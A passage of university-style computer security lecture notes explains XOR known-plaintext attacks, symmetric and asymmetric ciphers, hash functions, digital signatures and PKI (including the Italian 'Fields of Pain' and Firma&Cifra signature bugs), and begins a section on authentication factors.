Is it possible to recover the key without brute forcing? Let’s see what happens step by step:

1. By analyzing the algorithm it’s possible to see that it is not perfect, since the key is re-used. In fact the key is 4 B long, while
the ZIP file is way bigger (𝑙𝑒𝑛(𝑘) < 𝑙𝑒𝑛(𝑀)): this means that the key has to cover the entire length of the file.

9
2. Since the algorithm is not perfect it is surely possible to brute force it: XOR function is reversible, therefore 𝐶 = 𝐾𝑥𝑜𝑟𝑀 ⟹
𝐾 = 𝑀𝑥𝑜𝑟𝐶. As a consequence the attacker can try to brute force every possible key, until they output a well formed ZIP file
(not corrupted)

3. This algorithm can actually be broken faster than by using brute force, by simply knowing XOR is reversible and a ZIP file is
being encrypted. In Unix-like systems a magic number is given at the beginning of the header of a file (first bytes of every file)
to define the type of the file. All ZIP files have the same magic number, which is 4 B long: this means that the attacker knows
both the ciphertext and the first 4 B of the plaintext. At this point the attacker only has to take the first 4 B of the ciphertext,
xor it with the first 4 B of a plain text (known because the file is a ZIP) and obtain the key. This is a known plaintext attack: a
ciphertext and one corresponding plaintext are give, additionally xor function’s properties are used.

2.3 (Non) Successful Attacks

Security of a cryptosystem is based on the robustness of the algorithm and the only way to prove its robustness is trying to break it,
which is a faster process if the algorithm is public (everyone can test it). When evaluating an algorithm’s robustness it’s important
to think about the time needed to break it and the strength of the attack put in place: if e.g. 2 years of brute forcing are required
and another type of attack requires 2 days less, the algorithm is not really broken, it is still robust and there is time to move to
a new kind of standard. If the brute forcing time needed is 100 years and an attack takes only 1 day it means the attack is really
successful: actually in both cases the attack is successful, but the algorithm is truly broken only in the second one. Depending on
the asset to protect and encrypt, the attack might not be sufficient to consider the algorithm broken.

3 Encryption and Confidentiality

3.1 Symmetric Encryption Algorithms

Symmetric Encryption is also referred to as secret/shared key


encryption, since its basic idea is that a key 𝐾 is used to both
encrypt plaintext into ciphertext and decrypt ciphertext into
plaintext. Symmetic Encryption only guarantees confidential-
ity (integrity is not guaranteed). Let’s consider its functioning.
Alice and Bob want to communicate over an untrusted chan-
nel, Alice uses a symmetric encryption function by using a
secret key to encrypt the message and generate the cipher-
text in order to send it to Bob. Bob will use the same key
to decrypt the message. By analyzing this scenario, it’s clear
that the main problem of symmetric encryption algorithm is
that since a shared secret (key) is used, a way must be found
to exchange the key between the two entities that are try-
ing to communicate. The key can not be transmitted via the
same channel through which the message is transmitted, oth-
erwise the attacker will find both key and message and de-
Figure 2. Symmetric Encryption
crypt it (the algorithm is known). Another trusted channel is
needed to transmit the key.

Trusted Channels Suppose to be exchanging a secret (encrypted) email with a friend. The message will be encrypted (with the
key) and sent. To exchange the key (so that the receiver can decrypt and read the message) some methods can be used:

• exchange via person (off-band), physically: of course not feasible if the person is far away

• exchange via phone-call, fax, sms: these channels are not really secret, they are considered trusted if an attacker that can
read the emails but not sms or phone calls is considered, in other word these are trusted if the considered threat agent is
assumed to only have access to one channel

10
Still, to exchange the key, an alternative trusted channel must be found, which is a huge problem, also referred to as Key Man-
agement Problem. The first factor of this problem is finding a trusted channel that can be used to exchange the key, the second
one is related to the fact that it is not scalable. If 𝑛 entities want to communicate by using a symmetric encryption algorithm, al-
most 𝑛 ∗ (𝑛 − 1) keys are needed. This means that when adding/removing someone these keys all have to be shared. The same
key can not be used for all entities, because if we did so leaking a single key would compromise the entire system (considering
the people involved as trusted elements). To guarantee confidentiality and integrity between all couples of people almost 𝑛2 keys
must be shared for each entity. In general it’s possible to define symmetric encryption algorithms as a cocktail of substitution and
transposition: modern symmetric ciphers mix these properties, and some of them are:

• DES

• IDEA

• BlowFish

• RC5

• CAST-128

• Rijndael

Substitution Substitution means replacing each byte with another one, as in Caesar cipher. This method is actually limited and
weak, since some letters (such as vowels) are more likely to appear in a word, the patterns among letters and their frequencies are
both visible in plain- and ciphertext. A way to improve monoalphabetic ciphers is shifting to polialphabetic cipher, in which instead
of using a single alphabet a pair (or set) of alphabets is used: the key is thus a map between different alphabets. Polialphabetic
ciphers use tables through which it is possible to both encrypt and decrypt the message, depending on the cardinality of the
plaintexts symbols can be added, too. In this case repetition and structure are not visible anymore.

Transposition Transposition (diffusion) means swapping the values of given bits. The plaintext is usually written in rows and
read in columns: the key is the number of rows and columns selected, their product must be close to the length of the message to
encrypt. In this case repetition and structure are not visible, however the dimensions of the matrix have to be consistent with the
length of the message: if the matrix is way bigger than the message (𝑅 ∗ 𝐶 >> 𝑙𝑒𝑛(𝑚𝑠𝑔)) wrapping is not even allowed. However
brute forcing attacks can still be used, by trying different combinations of rows and columns, consistent with the message’s length.
In this case however some computation is needed, but all possible structures have to be tested.

3.1.1 Data Encryption Standard

DES was an IBM’s algorithm, selected after a competition that aimed at finding a way to encrypt communication in a network. It
took 3 years for the algorithm to be tested against attacks: in fact it was designed in 1973, but it was in 1976 that it became an
US standard. Its core functionality is an S-Box (substitution box) and its key is 56 bit long (256 keyspace). The original design was
different than the accepted one: originally IBM key was 128 bits long, however NSA collaborated with the company and suggested
another substitution box, asked for a 64 bits long key: 56 random bits + 8 bits for even check. After that the algorithm was accepted.
In the eighties differential cryptoanalysis was discovered and, together with it, advanced techniques to break algorithms. In 1993 it
was shown that the original S-boxes designed by IBM would be vulnerable to differential cryptoanalysis, instead the one proposed
by NSA (before differential cryptoanalysis was introduced) was not. How bizarre: did NSA know about differential cryptoanalysis
already? Rumors said that NSA wanted to weaken DES’s power by asking for a shorter key, in fact they probably thought that 128
bits key was not necessary at that time: there was not enough computational power to brute force it, they wanted to make it lighter
but restistent to differential cryptoanalysis. The algorithm was actually broken in 1997: twenty years after its release. It was only
in 2001 that the AES became a standard, from 1997 to 2001 was confirmed to be a standard and was still used.

11
3.1.2 Standard Encryption and Brute Forcing

Nowadays DES is no more used, not because of a new attack arisen in the last years, but because it is easy to brute force it. To
understand how fast it is to brute force an algorithm, the keyspace has to be analyzed. This is the length (in bits) of the key.
Keys are sequences of random bits that can assume two values (0,1): brute force attacks need up to 2𝑘𝑒𝑦𝑠𝑝𝑎𝑐𝑒 attempts to find the
key. Also, adding one bit doubles the time needed to brute force the algorithm: time is an exponential function of the number
of bits. An idea might be selecting a super long key: but computational power is not a negligible factor and longer keys require
longer computation and the higher the computational power needed. A trade-off must be found between the computational power
needed and the key length. This is even more important in DES, where a standard (56+8) block of bits is used: in this case it’s not
possible to just add bits, to increase the length the block must be multiplied (e.g. triple DES uses 3 x standard length of the key,
requires 3 x time to encrypt stuff). To find a trade-off, the keyspace vs. time for brute forcing curve (Fig. 3) must be analyzed.
The graph shows that the slope of the line is proportional
to the power the attacker has: in this case the attacker is
assumed to have a power of 1 Pdecryptions/sec (about that
Google has). Even if the power of decryption is improved the
line does not change much, so it still will be valid in years
from now, unless someone, in the next years, will release a
full functioning quantum computer: in that case the curve
will change its shape. Since up to now quantum computers
are far from real, the diagram represents the State of the Art.
The bullet points in Fig 3 represent some common values for
key length: 56, 64, 128, 256 and the time (worst case scenario)
needed to brute force such keys. To brute force a 56 bits key
some minutes are enough, while for a 64 bits key almost 100
years are required. Moving on to 128 and 256 bits keys 1016
Figure 3. Time to brute force: graphical representation (about the age of the universe) and 1058 years a are needed
respectively. That is about enough to keep a secret: if the al-
gorithm is strong enough, there is no need to go beyond these values. In conclusion, when evaluating the key length, a trade-off
must be found between the number of bits and the computational power required to encrypt the message. However, if the algo-
rithm is strong enough, 128 bits are sufficient. However, it is important to remember that an attacker will never try to attack the
strongest element of the system (e.g. cryptography algorithm) unless it is known to be vulnerable. The attacker will always target
the weaker part of the system, usually the human, who can e.g. be convinced to tell a secret.

12
3.2 Asymmetric Encryption Algorithms

Such algorithms guarantee confidentiality, and even some-


thing more. In 1997 Diffie and Hellman came up with the
idea of using two keys, so that what is encrypted with key1
can be decrypted by key2 only and the other way round. Fur-
thermore, even if the keys are dependent from one another,
one can not be retrieved from the other. Asymmetric Encryp-
tion is also referred to as Public Key Criptography, because
one key is kept private, while the one must be publicly re-
leased. With this mechanism, key management issues are
solved, because all entities have a key pair: a public and a
private one. They can thus share their public key, even on
untrusted channels, because what is encrypted with a public
key can only be decrypted with the private one. If Alice wants
to communicate with Bob, she will take Bob’s public key and
use it to encrypt the message, so that only Bob can read it
thanks to his private key. The mathematics of this algorithm
is based on a one-way function with trapdoor, a mathemat-
ical function that is easy to compute in a direction, but very
difficult to invert (compute in the opposite direction). In this
context, very difficult means extremely intensive from a com-
putational point of view: close to brute forcing. A symmetric
encryption algorithms exploits such a function to generate
the public key from the private one: in this way it is almost
impossible to retrieve one key from the other and the results
Figure 4. Asymmetric Encryption and Key Exchange
of the computation are shared. Other than being hard to cal-
culate the inverse function of such algorithms, they are also computationally intensive in general. They solve scalability and key
management problems, but computations is two magnitudes more intensive than symmetric algorithms’. This is why symmetric
and asymmetric algorithms are often used together: public key criptography is exploited to exchange the keys used to encrypt
everything with a symmetric encryption algorithm. Let’s take a close look at asymmetric encryption algorithms’ functioning: Alice
and Bob want to communicate over an untrusted channel. They do not have to share a secret key, each entity has to create their
own pair of private and public key. The public keys are both shared over the untrusted channel (website/web server/github), there
is no need to keep them secret, because only the private key’s owner will be able to decrypt the message. The trusted element, in
this context, is the private key: the entire security of the algorithm depends on it, therefore it must not be shared, otherwise other
entities will be able to detect the messages. Moreover, another trust assumption is made, and it is the fact that the person using
the private key is really Bob (or Alice): that is to say only that person can decrypt the message confidentiality is guaranteed.
Let’s consider another scenario: if Alice uses her own private key to encrypt the message, everyone will be able to decrypt it by
simply using her public key - which is in fact public - and confidentiality is surely not guaranteed. However a sort of authentication is
provided: Alice is making it clear that it was she who sent the message, since she is the only owner of her private key. By encrypting
something with her private key she is proving that the message came from the owner of that specific case - as for the previous
case, a trust assumption has to be made: Alice’s private key is owned by Alice. Some common asymmetric encryption algorithms
are:

• Diffie-Hellman

• RSA

• DSS

• ECC

13
3.2.1 Diffie-Hellman Exchange

This is not really an asymmetric encryption algorithm: it is an exchange, an algorithm used by entities to agree on a secret over
an insecure channel. It exploits the use of a public and private key, but it is just a way to agree on a secret. The easiest way
to understand how it works is to consider a classroom full of people, where two people want to exchange a secret: after their
conversation they will be the only ones knowing the secret. Diffie-Hellman allows entities to exchange messages over an untrusted
channel, so that in the entities only the two entities actually involved in the exchange will know the secret. As a one-way trapdoor
function it exploits an old mathematical problem: the discrete logarithm:

1. If 𝑦 = 𝑎𝑥 then 𝑥 = 𝑙𝑜𝑔𝑎 𝑦

2. Given 𝑥, 𝑎, 𝑝 it is easy to compute 𝑦 = 𝑎𝑥 𝑚𝑜𝑑𝑝, but knowing 𝑦 it is extremely difficult (computationally intensive) to compute 𝑥

This is a crucial difference with respect to symmetric algorithm: computing x is extremely difficult in the sense that brute force
is required over all the possible values of x. In this context brute forcing assumes a slightly different meaning: when referring to
symmetric encryption algorithms brute forcing means trying all possible combinations in order to discover the key, while in this
case a mathematical problem must be solved, which is eventually faster than actual brute forcing.

Example Let’s pick 𝑝 prime, 𝑎 primitive root of 𝑝 public, where a primitive root is a number 𝑎 such that raising it to the power of
any number between 1 and (𝑝 − 1)𝑚𝑜𝑑𝑝, each number between 1 and (𝑝 − 1) is obtained

• Consider: 3 is a primary root of 7 (Diffie-Hellman exchange still works without the primary root property, however by re-
specting this condition it is guaranteed that the maximum number of possible keys will be obtained: the algorithm is more
robust)

• Let 𝑎 = 3, 𝑝 = 7

• The entities A and B that want to exchange the message will independently and secretly choose their own private key, by
selecting a number between 1 and (𝑝 − 1): the chosen number is the private key and must remain secret, 𝑋𝐴 = 3 and 𝑋𝐵 = 1

• They will also compute independently their own public key 𝑌 : 𝑌𝐴 = 𝑎𝑋𝐴 𝑚𝑜𝑑𝑝 = 33 𝑚𝑜𝑑7 = 6 and 𝑌𝐵 = 𝑎𝑋𝐵 𝑚𝑜𝑑𝑝 = 31 𝑚𝑜𝑑7 = 3

• A and B must now exchange their public keys

• At this point, both A and B can compute, thanks to mathematical computations, a shared secret 𝐾:
𝑋 𝑋
𝐾𝐴 = 𝑌𝐵 𝐴 𝑚𝑜𝑑𝑝 = 33 𝑚𝑜𝑑7 = 6 and 𝐾𝐵 = 𝑌𝐴 𝐵 𝑚𝑜𝑑𝑝 = 61 𝑚𝑜𝑑7 = 6 therefore 𝐾𝐴 = 𝐾𝐵

Anyone can have the public key, but without the private one it is impossible to decrypt the message, especially on a larger scale
with longer keys.

3.2.2 RSA

It exploits, as any other asymmetric encryption algorithm, a one-way trapdor function: the factorization of prime numbers. In
this case if 𝑝 and 𝑞 are two large prime numbers, computing 𝑝 × 𝑞 = 𝑛 is easy, but given 𝑛 it is extremely difficult to get 𝑝 and 𝑞: this
problem is called quadratic sieve field and brute forced by trying all primes until the smaller between 𝑝 and 𝑞 is found. It can be
demonstrated that this problem and the discrete logarithm one are very similar: in fact their basic functionalities are the same. If
some broke one of the two, it is likely that the other one would be broken too: they are strictly related, from a mathematical point
of view. The only category of asymmetric encryption algorithms that is independent of this problem is ECC: for this reason the
current standards are shifting towards their direction. To break RSA the attacker has to obtain 𝑝 and 𝑞 given 𝑛, that is to say factor
𝑛: the complexity of this task is exponential with respect to the number of bits of 𝑛. Considering the computational complexity
from encryption’s point of view, computation time grows linearly with respect to 𝑛’s number of bits. In any case a trade-off must be
found between the time needed factorize 𝑛 and the key length. This is due to the fact that the mechanisms used by the processor
to compute the exponential are slower than other computations: because of this asymmetric encryption algorithms are in general
more computationally intensive than symmetric ones. It was demonstrated however that a 512 bit RSA can be factored within 4
hours on EC2 (<100 $): as of now there is no demonstration of practical factoring of anything larger than 700 bits, therefore keys
longer than 1024 bits are safe, typical choices are 2048 or 4096 bits. The preciously safe-to-use length (128 bits) is way smaller than

14
the typical choices: this is another key difference between symmetric and asymmetric encryption algorithms. Key length is always
measured in bits, however, they have totally different meanings:

• Symmetric EA: key length measures the number of decryption attempts (2𝑘𝑒𝑦𝑙𝑒𝑛𝑔𝑡ℎ attempts needed to break the key)

• Asymmetric EA: key length measures the number of key-breaking attempts (attempts to reverse the one-way trapdoor func-
tion)

Reversing a function is faster than brute force: this is why asymmetric encryption algorithms require longer keys: the key-breaking
attempts depend on both key length and problem chosen (one-way trapdoor function), to keep the same security level a longer key
is needed in asymmetric encryption algorithms. This difference in key lengths has huge consequences when comparing different
algorithms:

• Symmetric EA can be compared based on key lengths only

• Asymmetric EA can not be directly compared based on key lengths only, unless they are based on the same function

• Asymmetric and Symmetric EA must never be directly compared based on key lengths

There are tables that allow to compare symmetric and asymmetric EA on the basis of the problem (one-way trapdoor function).

4 Hash Functions and Integrity

4.1 Hash Functions’ Properties

Let’s start with a definition: a hash function is a function 𝐻() that maps arbitrary-length input 𝑥 on fixed length output ℎ. The output
is usually way smaller than the output: the codomain is thus smaller than the domain. In fact, the domain elements’ structure is
fixed: it might be e.g. a fixed-length string. This property has a huge impact on hash functions’ functioning: it allows collisions. a
collision happens when two inputs have the same output. This is of course bad: in general a good hash fucntion must be resistent
to collisions, collisions must be difficult to obtain. However, hash function’s output must not be random, otherwise it will not be
possible to check integrity. From a formal point of view, a good hash function satisfies three properties:

• Preimage attack resistance: it must be computationally not feasible to find an input 𝑥 such that 𝐻(𝑥) = ℎ, where ℎ is a
specific hash. An hash function is vulnarebla to preimage attack if it is easy to find an input that generates a specific output
ℎ.

• Second preimage attack resistance: it must be computationally not feasible to find a second input 𝑦 such that, given a
different input 𝑥, 𝐻(𝑥) = 𝐻(𝑦), they have the same hash.

• Collision resistance: it must be computationally not feasible to find a couple of inputs 𝑥, 𝑦 such that 𝐻(𝑥) = 𝐻(𝑦).

Preimage and Second preimage attacks are similar: in fact if a way is found to perform a preimage attack, then it is surely possible
to perform the second preimage. However it does not work the other way round: it could be possible to find two inputs with the
same hash without actually reversing the function. In general: the first attack implies the second, but not viceversa. Also collision
attacks look similar to second preimage ones, however they are in fact very different: in the second type the purpose is to find an
input whose hash is equal to that of another given input; while in the third type the purpose is to find two random inputs with the
same hash (there is no given input). In general it is easier to find a couple of values that have the same hash, than finding an input
that outputs the same value as another fixed input. A hash algorithm can not be collision free, because of hoe it is defined: the
only property that can be looked for in such an algorithm is to be collision-resistent. It must be hard for an attacker to voluntarily
find a collision. It is in general easier to find a random collision than finding a collision with a fixed value. Therefore a hash function
should not be (easily) reversible. Some commonly used hash functions are:

• SHA-0

• SHA-1

• SHA-2

15
SHA-2 represents the current standard because no robust attack has been found against it. Previous standards were MD5 and
SHA-1: MD5 is at the moment considered to be cryptographically broken and unsuitable for further use, because it was broken
over and over during the last year. It is easy to obtain a collision with it. SHA-1 has been considered not secure since 2005 against
well funding opponents. But it was in 2017 that a collision attack was first successfully performed against it (see shattered attack and
shattered project ). Such attacks are dangerous because they might make impossible for a computer to tell one file from another,
if they have the same hash, even though they are different, e.g. one of them might have been tampered. Such attacks have a
heavy impact from a security point of view, because hash functions are used in backup and version control systems, e.g. to check
integrity of a certain version of a file. A backup might tamper a code without changing the hash. Besides, such algorithms are used
for HTTPS certificates and digital signatures’ integrity. Nevertheless, the SHA-1 attack is not easy to perform: many computations
are needed. Despite this, it was demonstrated the possibility to obtain it and its feasibility. In particular, the attack was compared
to brute force and to MD5. To break MD5 a smartphone’s computational power for 30 s is enough, to brute force SHA-1 12000000
GPU’s computational power for 1 year is required. SHA-1 Shattered only requires 110 GPU for 1 year. It was thus demonstrated the
feasibility of the attack by finding a (much) faster way to break it than brute-forcing it. In theory hash functions can be brute-forced
as well: it is just very hard from a computational point of view. Hash functions thus guarantee integrity. Furthermore, they are
usually fast functions: they allow to compute the output of a long input in a short amount of time.

Example To check whether two elements (e.g. two images) are equal or not, one can compute their hash functions and compare
the outputs (hash values). Two images may look exactly the same, but applying a hash function to both of them and compare the
results might reveal that the outputs are different because one has been tampered (e.g. 1 pixel was changed). The same applies
to two strings: if a single byte is different, the hash function’s output will change.

4.2 Attacks to Hash Functions

All attacks are related to the properties hash functions must satisfy. An attack is successful when the time to perform it significantly
reduced with respect to previous attacks or brute-forcing time. However, that does not necessarily mean that the cryptosystem is
broken: the system is broken if the complexity is hugely reduced and the attack is thus easy to perform.

Arbitrary collision or (1st or 2nd) preimage attack In such attacks the hash function is broken when, given a specific hash
ℎ, the attacker can find 𝑥 so that 𝐻(𝑥) = ℎ (or equivalently, given a specific input 𝑥, the attacker can find 𝑦 such that 𝑦 ≠ 𝑥 and
𝐻(𝑥) = 𝐻(𝑦)) in less time than what brute forcing it would require. If the attack reduces the time to break the hash function, it is
broken. But how long does it take for a brute force attack to obtain an arbitrary collision?
Hash functions usually generate n-sized hash. Supposing that the inputs are chosen randomly and that the function is very good
and robust (so that the output is as random as the input), the function will, in total, output 2𝑛 possible hash values (hash of n bytes).
On average, a random collision is obtained in 2𝑛−1 cases. This attack is more powerful.

Simplified collision attack In this case the hash function is broken if the attacker can generate colliding couples (couples 𝑥, 𝑦
such that 𝐻(𝑥) = 𝐻(𝑦)) faster than brute forcing. This is easier to obtain: random collisions can happen in 2𝑛∕2 cases, because of
the so-called birthday paradox.

16
5 Digital Signature and Confidentiality, Integrity, Authentication

The basic functioning of digital signature was briefly introduced in chapter 4.2, when asymmetric encryption algorithms were
analyze. In fact, if a private key is used to encrypt a message, a form of authentication is provided. However, in this way, if the
only goal is to guarantee a message’s authentication (and no confidentiality), an issue arises: if the message to authenticate is very
big it has to be encrypted with an asymmetric encryption function, which is slow and computationally intensive. If the goal is to
just guarantee that the message comes from a specific user, instead of using an asymmetric encryption function to encrypt the
plaintext, a faster way to provide authentication is to first hash the plaintext and then encrypt the hash ℎ with the user’s private key.
By doing this a faster function is used to encrypt the plain-
text. As shown in Fig. 7 the hash (encrypted with the Alice’s
private key) is then sent over an untrusted channel, so that
Bob can decrypt it with the sender’s public key: the recipi-
ent will thus get the hash of the file. In the meantime, Alice
sends bob the plaintext message (over the same untrusted
channel), so that once Bob receives it, he can compute the
hash and check whether it is equal to the one he previously
received: if they are equal integrity is preserved, otherwise
the message was tampered. This is a way to guarantee in-
tegrity only, not confidentiality. The digital signature is the
asymmetric encryption of the hash of the plaintext. If the
plaintext is corrupted during transmission, the two hash val-
ues will not be the same. Digital signature is strictly related to
Figure 5. Digital Signature the message sent. The hash function used (both by Alice and
Bob) must be the same: it is usually agreed on earlier (usu-
ally standard functions). Digital signatures in theory ensure
that the plaintext was authored by someone: however they
only guarantee that the message (or, more precisely, its hash)
was encrypted with a certain key, there is no certainty about
who is actually using that specific key. Therefore, when con-
sidering digital signature, the boundaries of trust are moved:
a way must be found to verify the identity associated with a
specific private key. At first, the identity of the user behind
the key was assumed to be verified (trust assumption): this
assumption is now removed. Exchange of public keys must
Figure 6. Digital Certificate
be thus secured and a way must be found to associate an
identity with a certain key. Public key exchange can be done either out of band or by exploiting the Public Key Infrastructure
(PKI), which associates a key pair to an identity on a wider scale. This is necessary to guarantee that a certain public key really be-
longs to a specific user. This is done by the PKI, which uses a trusted third party called certification authority (CA): the CA digitally
signs files called digital certificates, which bind an identity to a public key. The CA thus computes the hash of the file, encrypts
it with its private key and sends both the digital signature and the certificate to the entity who requested it. With this mechanism
it is possible to recognize a number of subjects, provided that we can obtain the CA’s public key. In this case the CA is the trusted
element of the infrastructure: it certifies the bound between an identity and its key. Fig. 6 shows how digital certificates are gener-
ated and provided by the CA. Let’s consider Fig. 4: in this case, to guarantee confidentiality, the message must be encrypted with
the recipient’s (Bob’s) public key and the sender (Alice), in order to obtain Bob’s public key, will ask the CA Bob’s public key and use
it to encrypt the message. In this case confidentiality is the focus: Alice retrieves Bob’s public key thanks to the CA. Taking a closer
look at this step, what happens is that Alice asks the CA for Bob’s digital certificate and the CA will send her Bob’s digital certificate
together with the CA’s digital signature. To verify the validity of a digital certificate the CA’s public key must be obtained, in order to
check its hash. However the CA’s public key will be contained in another digital certificate, signed by another CA: this means that
another CA will guarantee the public key of the previous CA, by sending again the digital certificate and the digital signature related
to the key. To verify the second CA we would need a third CA: the chain, called certificate chain, could continue on and on. At
some point, someone must be trusted: a trusted element called root CA. The CA needs a private key to sign a certificate, however

17
the public key (needed to verify the digital signature) must be in another certificate: another CA is required to sign that certificate
and trusted element (top level CA, root CA, source CA) must be found at some point. The root CA uses a self-signed certificate: it is
a trusted element that cannot be verified. Everyone can create their own root CA, but only a subset of them are trusted by systems.
The certification chain stops when a trusted root CA (trusted by the system) is found. The weakest element is what uses the root
CA, not the CA itself. If a non-trusted authority is added to the certificate chain the entire system is compromised: not because of
the root CA itself, but because of the entity that allowed the non-trusted CA in the chain. The chain (or rather, the tree) is built on
both a geographical and a topic basis. When a CA is trusted, all the ones depending on it are trusted as well. The root CA’s identity
can not be stolen: only the root CA itself has its private key. However, a way must be found to distribute this trusted element: the
easier solution si to use a de facto standard, that is to say CA already installed in a certain system/browser. It is possible to check
all the root CA installed in a certain system: everytime an OS is trusted, all the root certificates installed within it are being trusted.
Besides, root CA can be released by authorities that provide a list of their CA. If such list is compromised a new, updated list will
be released. With digital certificates and signatures, both the integrity and the authentication of a received file can be verified: if
the check fails, the file was compromised by an attacker or by an error. Another way to distribute CAs is the Web of Trust: in this
case, rather than exploiting a chain mechanism, a "social network" method is used: a certificate is trusted if it has been signed by a
"friend" within the network. Trusted certificates are the ones signed by other elements in the network. In fact, if the system works
it is not scalable.
In the previously described context the most valuable asset is the private key: but what happens if a private key is stolen or com-
promise? The attacker will be able to digitally sign files and documents with that private key. The main problem related to this is
that digital signatures can not be destroyed or revoked, once produced, because they are the results of a computation made on
the document itself: once created digital signatures will be valid forever. However, signatures must be revoked sometimes. The
only way to do this is to revoke the digital certificate itself by exploiting Certificate Revocation Lists, which are stored online: this
is an issue, since CRL can not be verified offline. CRL are also signed by CAs, in order to be verified. Everytime digital certificates
are used, the following steps must be followed. Missing any of them may lead to a vulnerability. The verification sequence for
certificates consists of:

1. Does the signature validate the document? → Hash verification

2. Is the public key the one on the certificate?

3. Is the certificate the one of the subject? → Problems with omonimous subjects, DN

4. Is the certificate validated by the CA? → Validate the entire certification chain, up to the root

5. Is the root certificate trusted? → Need to be already in possession of the root certificate

6. Is the certificate a CRL? → How to get CRL if offline?

If one of them is missing a vulneravbility may arise.

Example: the Italian digital signatures framework It was one of the first digital signature frameworks introduced in EU (in
1997). The current european digital signature framework was inspired by the italian one. Many modifications occurred to the italian
framework, however let’s focus on the original one, which consisted of a list of screened CAs, analyzed by the Italian government.
Only the CAs able to satisfy certain requirements were accepted. Around 10 CAs were selected and each of them created their own
digital signature application (i.e. trusted element), which allowed the user to sign their documents: this means that the CA have to
contain their own CA, which is the trusted element. From the cryptography point of view, all Italian signature standards used strong,
unbroken cryptographic algorithms, therefore the selection was good. However vulnerability emerged: they exactly show the bank
vault door in a tent issue. In fact, vulnerabilities arose in the applications developed by each CA. Although the algorithms were
strong, the apps were designed and developed by every single CA: such applications contained the trusted element and allowed
to digitally sign a document. The digital signature is stronger than a handwritten ones, which can be cloned. A digital signature
is tied to the content, it can not be forged unless the algorithm is broken. Furthermore a written signature is always pretty much
the same (name), while the digital signature is the result of a complex computation: it depends on the document being signed.
However, since digital signatures are the result of a computation, even if it cannot be forged unless the algorithm is broken, it is
brittle: if someone is able to produce a fake one, it can not be distinguished from a real one. If the application that produces digital
signatures can be attacked, fake digital signatures will be produced. Two bugs that emerged were:

18
1. Fields of Pain: the bug was notified in 2002, it affected many CA softwares. Such applications receive a document as input
and produce its digital signature. The problem was that such applications allowed to sign word documents that contained
dynamic fields (macros) without warning. A macro is a piece of code inside the text document, it may execute different
functions (e.g. date), when the document is opened the computation is executed and the result is inserted into the text. The
main problem is that macros are just code: the hash of a file that contains macros will always produce the same hash (which
is computed on the code), even if, when opened, a different content is visualized. When the bug was discovered, it was said to
be afeature, an intended behavior. However, just one year later, Microsoft itself released a patch in order to disable macros
via API. Today, if the user wants to digitally sign a document with a macro, a huge warning will appear.
However, the issue is actually much deeper: to digitally sign a document, one must be sure to sign what they see, to see what
they’re signing. In fact, if someone creates a document in Microsoft Word and opens it with Libre Office writer, what they see
may change due to the format. And therefore usually, besides choosing the document it is necessary to agree on the format
to digitally sign a document.

2. Firma&Cifra: this bug was notified by anonymous in 2012. Its result was the possibility of creating and verifying a signature
with a fake certificate, the worst case scenario. Also in this case, no cryptographic algorithm was broken to perform the bug
and there was no problem in the cryptographic algorithm, however, it was possible to create two different documents with the
same hash. Because of this it was possible to validate documents signed with a digital signature related to a fake certificate.
This happened because to verify a signature, the author digital certificates and the certification chain are needed. All of them
should be checked online. However, it must also be possible to do an offline verification. And to do so it is necessary to
include everything in a PKCS, in this case PCKS#7. PCKS is basically a file that contains the entire certification chain that must
be compared with the one that is stored in your application. To do an offline verification, the root CA certificate should be
compared to the pre-installed ones. All softwares must come with this kind of verification, and the root certificate storage is
a critical point. The issue with Firma&Cifra was that they basically didn’t verify this. So it was possible to trust whatever was
passed in the PKCS#7, so that it could be imported in the secured storage area without any verification. So for example, it
was possible to generate a fake certificate with the same name of a real one, then use it to generate a fake user certificate,
then use this user certificate to sign a document and then include everything into the PKCS#7. So the Firma&Cifra application
was provided with the fake certificate, the fake certificate of an entity, the documents signed with these CA: it would simply
take them as input and immediately accept them considering them secure and valid. Even in this case, the reaction was that
it was all done by design.

In both cases, the problem was not related to the cryptographic part, but to an implementation problem or to the format of the
document itself.

6 Authentication

Authentication is basically the process of verifying the users’ identity. In general, a secure system may have to track the users’
identity for various reasons. First reason is that it is just a parameter in the access control decision of your system: on the basis
of a user identity, you may want or not to provide the user the permission to do an action on a particular object. Or the user
identity must be logged in security relevant evidence, because in case an incident happens, he must be able to understand which
were the user logged into your system. From a high level point of view, authentication is the step following identification. To
understand the difference between these steps, let’s consider an example. To log into a system, username and password must
be provided. By providing username an identifier is give (identification), while when providing the password, proof is provided to
verify the identity (authentication). Authentication is defined as unidirectional authentication, because the computer verifies the
user’s identity, but the user has no guarantees about the identity of the receiver of their password. This opens the door to social
engineering attacks (i.e. phishing) in which the user sends their information over a challenge, but they are misled about the identity
of the receiver. Usually authentication must thus be bidirectional: both entities must identify and authentication themselves to
each other. Authentication is mutual and bidirectional. Authentication can happen between any two entities:

• human to human: usually authentication is unidirectional and implicit, the first entity will authenticate themselves e.g. by
providing an ID, but the second one will be authenticated on the basis of their badge or dress, for example. This makes
human to human authentication vulnerable to social engineering attacks. For example, this vulnerability is exploited by
social engineers, i.e. impostors. To avoid them authentication should be bidirectional.

19
• human to computer: e.g. when logging into a system username and password must be provided, when withdrawing money
a debit card must be provided.

• computer to computer: e.g. when paying with PayPal two services (e-commerce and Paypal) have to authenticate themselves
to complete the payment.

Authentication is also the foundation of the subsequent authorization phase. From a high level pov the access control to a system
is divided into 3 steps: Identification, Authentication and Authorization, in which the authenticated entity is allowed to perform an
action on a certain element. There are different ways to authenticate:

• To Know factor e.g. password, pin

• To Have factor e.g. keys, smartcards

• To Be factor e.g. face, voice, fingerprint

It is clear that moving from Know to Be, authentication gets more robust. When authenticating, the most common factor among
humans is to Be: people are usually recognized from their face and voice. The second most common factor is to Have: e.g. when
providing ID to enter a building. The less common one is to Know. For machines the most common one is to Know, followed by
to Have and to Be (which is becoming more and more common in smartphones especially). Such difference between humans and
machines exists because of usability, which is related to complexity and different capabilities. Humans are social and unable to
keep secrets: even when remembering passwords, humans tend to write it somewhere. They’re more used to owning objects and
using biometrical factors. For machines it is easy to store secrets: they have hard disks. The to know factor comes easy for machines.
When designing a secure system based on authentication it’s important not to focus on a single factor, in order to avoid weakening
the system by creating a single point of failure. Instead, the aim of a secure system is to use a multi-factor authentication system:
the factors should be combined, finding a trade-off between security, usability and cost. In general multi-factor authentication
means finding a trade-off among these factors. For example, money withdrawal requires a 2 factor authentication (to know the
PIN and to have a debit card).

6.1 The to Know factor

In this case the user must know some secret in order to authenticate: password, PINs, personal information, etc. This factor,
although easy to use, it has a series of problems: whoever obtains the secret becomes the original user (the secret’s owner). The
